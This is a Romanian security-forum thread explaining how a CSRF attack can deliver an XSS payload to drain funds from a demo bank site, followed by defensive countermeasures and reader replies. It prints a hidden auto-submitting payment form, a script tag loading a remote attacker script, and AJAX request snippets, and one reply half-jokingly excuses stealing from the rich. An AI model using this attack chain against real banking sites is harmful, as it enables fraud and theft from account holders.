Pericolul real al XSS si CSRF

[cybercop]

In cele ce urmeaza se incearca sa se demonstreze pericolul real care il reprezinta Cross-Site Scripting (XSS) combinat cu Cross-Site Request Forgery (CSRF). S-a creat un site imaginar ca exemplu, al unei banci si s-a demonstrat ca o singura vulnerabilitate XSS si o operatiune de transfer de bani in site-ul banci se poate transforma intr-o pierdere de bani doar vizitand alt site. In exemplul oferit, site-ul bancii nu este "over SSL" dar oricum SSL nu ar preveni acest atac sub nici o forma.

Site-ul capcana din exemplul nostru este in intregime controlat de atacator, dar de fapt el poate fi un anunt Flash dintr-un site trusted, aplicatii Facebook / Myspace / LinkedIn sau alte forme de deghizare (mashups) ce ruleaza cod untrusted, sau chiar cod malitios rulind in alt site de incredere cum ar fi un forum sau bulletin board.

In exemplul de mai jos, utilizatorul viziteaza site-ul bancii si pe cel al atacatorului in doua tab-uri ale browser-ului concomitent. De fapt, victima este expusa pe intreaga durata a sesiunii pe server. Asta inseamna ca daca un user isi inchide ferestrele browser-ului si de fapt nu face logout din aplicatia bancara, ramane vulnerabil pentru o perioada de timp de obicei cam intre 15 si 30 de minute.

http://www.securitycompass.com/videos/xss%20steal.swf

La inceput atacul poate parea exagerat din cauza tuturor factorilor ce trebuie sa intre in joc:

O victima trebuie sa viziteze un site anume si care sa fie vulnerabil.

Victima trebuie apoi sa viziteze un alt site, de data asta unul capcana si care sa stie sa atace site-ul de la pasul 1, in timp ce victima are cate o sesiune valida deschisa.

Cum devine acest atac mai putin exagerat in prezent?

Un studiu de caz al Web Application Security Consortium (WASC) arata ca aproape 60% din site-uri sunt vulnerabile la XSS. Abilitatea de a descoperi XSS nu a fost niciodata una simpla iar site-urile de public disclosure cum ar fi xssed.com fac din descoperirea vulnerabilitatilor specifice ceva banal.

S-a observat ca atacurile reale sunt executate prin intermediul site-urile de retele de socializare si anunturi flash. Acesti vectori de atac permit utilizatorilor rau intentionati sa aiba ca tinte mii de victime in mod concurent – oferind destule victime potentiale, iar sansele ca cel putin cateva dintre ele sa aiba o sesiune valabila pe un site vulnerabil anume devine mai mare. Chiar dac? demo-ul arat? un atac pe o anumita banca, un atacator poate incerca sa atace mai multe site-uri din acelasi JavaScript malitios. Cu alte cuvinte, un fraudator XSS poate incerca cel putin teoretic sa livreze malware pentru mai multe site-uri vulnerabile diferite la mii de victime într-o perioad? foarte scurt? de timp.

Ceea ce face deosebit de devastator acest atac este faptul ca victima nu va fi capabila sa anuleze transferul de bani. In jurnalele de tranzactii ale bancii, va apare ca utilizatorul a intentionat si a consimtit sa transfere sumele. Toate tranzactiile au la origine adresa IP a victimei si au fost trimise cu cookie-urile victimei. Doar analiza comportamentala ne dezvaluie ca de fapt povestea e alta - ex.: observarea vitezei anormale a seriei de request-uri sau faptul ca mai multi platitori au transferat bani catre aceeasi persoana intr-un interval scurt de timp - si ca de fapt este vorba despre o frauda.

Detaliile tehnice ale atacului

Utilizatorul viziteaza http://localhost:3000 (False Secure Bank)

In timpul unei sesiuni valide in False Secure Bank, user-ul viziteaza apoi http://127.0.0.1/CSRF_Example (Site-ul atacatorului)

In site-ul atacatorului, am adaugat un 0 iFrame cu dimensiuni 0X0, facand astfel continutul iFrame-ului invizibil pentru end user.

In iFrame am introdus cod HTML incluzand un form cu valori pre-populate si script-uri ce fac trimiteri in mod automat form-ului din partea user-ului:

<form name="input" action="http://localhost:3000/send_payment" method="post">

<input type="text" name="pay[payee]" value="<script src="http://127.0.0.1/CSRF_Example/bankattack.js" type="text/javascript"></script>">

<input type="text" name="amount" value="0"/>

<input type="text" name="commit" value="Pay"/>

</form>

<script>document.input.submit();</script>

Observati ca rubrica (campul) plata [persoana platita] este de fapt codul pentru payload-ul Cross Site Scripting. Acesta corespunde vulnerabilitatii XSS descoperita mai devreme in site-ul False Secure Bank. In acest caz, script-ul actual duce catre sursa aflata la http://127.0.0.1/CSRF_Example/bankattack.js. Comanda document.input.submit() trimite in mod automat request-ul din partea user-ului – deci cu alte cuvinte, furnizam un payload Cross Site Scripting (XSS) via un atac Cross Site Request Forgery (CSRF).

Browser-ul user-ului in mod automat trimite cererea catre http://localhost:3000/send_payment cu cookie-urile utilizatorului. Utilizatorul nici nu banuie ce s-a intamplat.

False Secure Bank trimite un raspuns la IFrame-ul de dimensiunea 0 X 0, de unde isi are originea cererea. Programatorul include o versiune nefiltrata, necodata a parametrului pay[payee] de la cererea send_payment. Deoarece acest parametru ruleaza in browser-ul clientilor, tag-ul <script src=’http://127.0.0.1/CSRF_Example/bankattack.js’ type=’ text/javascript’></script> se executa in mod automat.

Browser-ul descarca in mod automat fisierul bankattack.js. Deoarece cererea pentru fisierul JavaScript arata ca provine de la False Secure Bank, browser-ul nu va crede ca acest lucru este o violare a politicii aceleiasi origini.

In fisierul JavaScript am inclus serii intregi de cereri si raspunsuri Ajax. Ele arata cam asa:

xmlhttp.open("GET", "/payment", false); //AJAX cerere de apel catre ecranul de plata

xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');

>xmlhttp.send(“”)

Tipul de obiect JavaScript "XML HTTP" difera in functie de browser. Putem seta antetele cererii cum vrem noi si putem emula orice continut generat de user – inclusiv modificarea tag-ului user-agent sau a oricaror cookies folosite la urmarirea navigarii utilizatorului. Putem sa salvam raspunsul primit inapoi la comanda "send" si sa scoatem valorile ce ne intereseaza. Sa presupunem ca avem nevoie sa aflam numarul de cont al victimei pentru a transfera niste sume. Putem trimite o cerere XML HTTP la home page si scoatem numarul de cont din raspunsul HTML. In mod similar, putem scoate orice token-uri anti-CSRF odata ce am apucat sa rulam codul malitios JavaScript.

False Secure Bank nu suporta si nici contine cod Ajax. Nu ne intereseaza. Ceea ce avem nevoie este doar ca browser-ul user-ului sa aiba suport Ajax, iar browser-ele moderne il au.

Codul JavaScript din pasul anterior face cateva cereri diferite:

Merge in ecranul de plati

Eliminarea numarului de cont al atacatorului

Adauga atacatorul ca beneficiar al platii

Initiaza plata

Confirma plata

In timp ce acest scenariu prezinta un transfer bancar, am putea automatiza practic orice serie de cereri, in orice aplicatie web cu acest tip de atac.

Contramasuri (Dezvoltatorii)

Cea mai usoara contramasura este sa previi Cross Site Scripting. Utilizand judicios codarea puternica a librariilor cum ar fi cele date in proiectul OWASP ESAPI. Urmariti detaliile subliniate in Cross Site Scripting Prevention Cheat Sheet.

Folositi cod frame adecvat (Frame Busting - metoda practica ce asigura prin cod html ca site-ul nu va fi afisat printr-un frame). Sunt multe modalitati de a face acest lucru. Retineti ca atacatorul are nevoie de un frame – astfel el va fi nevoit sa execute intregul atac la vederea utilizatorului – fapt ce creste posibilitatea ca userul sa inchida browser-ul si sa stopeze atacul in desfasurare.

Metoda cea mai efectiva de prevenire a acestuia si aproape a tuturor atacurilor impotriva tranzactiilor senzitive este utilizarea autentificarii transactionale. Dezvoltatorii pot cere autentificarea Phone Factor, de exemplu, pentru toate transferurile ce depasesc de ex. 100 USD. Desigur orice autentificare aditionala poate ingreuna utilizarea operatiunii si deci sa faca aplicatia mai greoaie. Mai putin efectiva si desigur discutabil, este sa folosim abordarea mai putin prietenoasa a tehnologiei anti-automata CAPTCHA.

Vectorul original XSS s-a livrat prin intermediul unui atac CSRF si prin intermediul tranzactiei send_payment. Daca intreaga portiune de autentificare a False Secure Bank ar fi fost protejata impotriva CSRF, n-am fi putut incarca codul reflectiv XSS de prima data. XSS-ul stocat nu are de aceeasi limitare.

Contramasuri (Userii finali)

Intotdeauna incheiati orice sesiune cu parola cu log out. Acest lucru nu previne atacul complet dar limiteaza in mod semnificativ expunerea la un atac.

Nu navigati pe alte site-uri in timp ce rulati aplicatii sensibile cum ar fi de banking online.

Folositi plugin-ul de browser NoScript. Da, NoScript previne acest atac, chiar daca tu crezi in scriptul din site-ul capcana, deoarece NoScript identifica cu precizie cererile CSRF ca potentiale atacuri Cross Site Scripting.

Sper ca developerii ce creaza propriile aplicatii au frija la securitatea lor si ca ei nu mai cred in mod categoric faptul ca XSS (Cross Site Scripting) este ceva de un risc scazut sau mediu.

LE: Multumesc frumos tuturor pentru toate like-urile acordate thread-urilor scrise de mine. Este o mica staisfactie, ce imi demonstreaza ca nu am scris pentru a contribui la cantitate, ci pentru oameni iar acestia au apreciat valoarea informatiei.

PS: A propos, cati dintre voi folositi NoScript?

Edited February 28, 2014 by cybercop
corectura

[sleed]

Bravos man pentru tutorial. ~ Inca cateva tutoriale de genul asta si oameni precum ./ scanner / care a cerut nu stiu ce cartela, pentru net si nu o poate procura deoarece etc.. mi se pare tare dubios..,pun pariu ca vor face prostii.. si prostii mari cu carduri, pana ii vor prinde ca fura de la oameni care isi i-au salariul dupa ce au muncit de numai ei stiu cum si cat, ca sa trimita bani la copii in tara. Nu incurajez prostiile astea.

[cybercop]

Bravos man pentru tutorial. ~ Inca cateva tutoriale de genul asta si oameni precum ./ scanner / care a cerut nu stiu ce cartela, pentru net si nu o poate procura deoarece etc.. mi se pare tare dubios..,pun pariu ca vor face prostii.. si prostii mari cu carduri, pana ii vor prinde ca fura de la oameni care isi i-au salariul dupa ce au muncit de numai ei stiu cum si cat, ca sa trimita bani la copii in tara. Nu incurajez prostiile astea.

NU te supara pe mine pentru ce am postat, eu sincer nu il consider un tutorial pentru ca nu te invata mai nimic. Doar iti explica si evidentiaza niste stari de fapt. Dar pentru ca nu am gasit o sectiune mai potrivita unde sa postez, l-am bagat la tutoriale.

Nu trebuie sa vezi doar partea neagra a lucrurilor: daca ar fi asa simplu pentru orice metinar adolescent sa faca ceva complet in ce am exemplificat eu, pana acum bancile se desfiintau! Si eu si tu stim ca acele cutite de masa care sunt in magazine de vanzare sunt pentru bucatarie. Faptul ca un cretin fara minte si suflet il foloseste sa omoare pe cineva si intra la mititica, inseamna ca acolo ii e locul, departe de sociatate, pentru ca el nu e facut sa traiasca in comun cu ceilalti exact cum nu ar trebui un elefant sa intre intr-o fabrica de sticla. Idem se aplica si celor ce fac aplicatiile ce fura salariile tanti Mitei si lui nea Mitica din contul online de banca. Dar pana la urma daca stau si ma gandesc... unul cu cateva milioane de euro, dolari sau de lei, nu cred ca ar fi pacat, pentru ca ala sigur nu i-a facut rupandu-si carca in mod cinstit!

[Castiel]

Destul de interesant .

Stirile de la ora 5 : Un grup de copii de 12 ani au reusit sa sparga banca ***** .

[Castiel]

Ma refeream la " au reusit sa fure , etc. " . Orcum , eram doar sarcastic .

[yoyois]

Cam greu sa gasesti csrf + xss intr-o banca (si nu in pagina de home, ci in domeniul de tranzactii).

Oricum: Bravo pentru articol!